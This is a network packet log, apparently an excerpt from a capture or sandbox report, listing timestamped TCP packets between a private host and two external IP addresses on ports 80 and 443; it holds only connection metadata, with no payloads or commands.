Oct 30, 2024 05:25:23.379525900 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.379537106 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.379568100 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.379578114 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.379589081 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.379599094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.379609108 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.379628897 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.379662991 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.421499014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.421510935 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.421519995 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.421555996 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.421578884 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.452174902 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.452188969 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.452198982 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.452259064 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.452302933 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.497051954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.497092009 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.497102022 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.497149944 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.497181892 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.497457981 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.497477055 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.497484922 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.497497082 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.497509003 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.497522116 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.497538090 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.497555017 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.497558117 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.497576952 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.497590065 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.497611046 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.497625113 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.497915983 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.497925043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.497972012 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.498042107 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498051882 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498061895 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498070955 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498081923 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498094082 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.498119116 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.498385906 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498394966 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498404980 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498433113 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.498455048 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498456955 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.498466969 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498476982 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498509884 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.498790026 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498822927 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.498835087 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.498838902 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498851061 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498881102 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.498912096 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498922110 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498936892 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498944044 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.498944044 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.498975039 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.498977900 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498987913 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.498996973 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.499010086 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.499016047 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.499016047 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.499038935 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.499063969 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.540535927 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.540560961 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.540599108 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.540621042 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.571197987 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.571208954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.571223021 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.571250916 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.571266890 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.616753101 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.616764069 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.616775036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.616801023 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.616810083 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.616821051 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.616833925 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.616837978 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.616851091 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.616859913 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.616883039 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.616906881 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.617249966 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617264986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617275953 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617314100 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.617337942 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617341042 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.617347956 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617358923 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617369890 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617381096 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.617402077 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.617425919 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.617455959 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617465973 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617475986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617486000 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617496014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617506027 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.617522955 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.617536068 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.617753983 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617804050 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.617813110 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617821932 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617856979 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.617872000 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.617944956 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617955923 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617965937 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.617996931 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.618016958 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.618026972 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.618036032 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.618062973 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.618326902 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.618344069 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.618354082 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.618376017 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.618391037 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.618398905 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.618410110 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.618421078 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.618431091 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.618439913 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.618451118 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.618458986 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.618488073 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.690962076 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.691030025 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.691109896 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.691119909 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.691164017 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.735773087 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.735784054 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.735794067 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.735877037 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.735919952 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.735933065 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.735955954 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.735966921 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.735977888 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.735989094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736008883 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.736032963 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.736052036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736064911 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736074924 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736083984 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736090899 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.736108065 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.736150980 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.736238956 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736285925 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.736287117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736296892 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736326933 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.736341000 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.736361027 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736398935 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.736490011 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736500025 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736510992 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736521006 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736536026 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.736536026 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736551046 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.736552000 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736565113 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736567020 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.736573935 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.736596107 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.736632109 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.737050056 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737059116 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737071991 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737107038 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.737123013 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.737194061 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737205029 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737215042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737226009 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737241030 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.737268925 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.737420082 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737458944 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.737488031 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737498999 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737509966 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737520933 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737526894 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.737548113 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.737560987 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.737576962 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737586975 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737597942 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737608910 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737617970 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.737637043 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.737643957 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737672091 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.737690926 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.737776995 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.737814903 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.806901932 CET	443	50000	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:23.806993961 CET	50000	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:23.808301926 CET	50000	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:23.808319092 CET	443	50000	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:23.808552980 CET	443	50000	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:23.809672117 CET	50000	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:23.809771061 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.809792042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.809803009 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.809819937 CET	50000	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:23.809824944 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.809851885 CET	443	50000	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:23.809868097 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.809902906 CET	50000	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:23.809911966 CET	443	50000	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:23.854552984 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.854588985 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.854599953 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.854655981 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.854671955 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.854932070 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.854976892 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.854981899 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.854988098 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855022907 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.855036974 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.855070114 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855082035 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855093002 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855103970 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855118036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855124950 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.855129004 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855153084 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.855174065 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.855406046 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855416059 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855453014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855459929 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.855495930 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.855495930 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855509043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855520010 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855531931 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.855551958 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.855565071 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.855747938 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855758905 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855772018 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855798006 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.855820894 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855823994 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.855832100 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855843067 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.855859041 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.855879068 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.856115103 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856127024 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856137037 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856168032 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.856180906 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.856270075 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856281996 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856295109 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856323004 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.856338024 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.856364965 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856376886 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856388092 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856400013 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856410027 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.856431007 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.856452942 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.856462002 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856471062 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856482983 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856493950 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856498957 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.856508017 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856519938 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.856534004 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856535912 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.856545925 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856555939 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.856566906 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.856585979 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.856607914 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.929171085 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.929182053 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.929192066 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.929228067 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.929250956 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.973809958 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.973822117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.973830938 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.973860025 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.973876953 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974052906 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974097967 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974126101 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974136114 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974147081 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974159956 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974184036 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974194050 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974241018 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974253893 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974265099 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974276066 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974313021 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974313974 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974313974 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974401951 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974421024 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974432945 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974457026 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974457026 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974473000 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:23.974586964 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:23.974596977 CET	80	49997	185.215.113.16	192.168.2.6
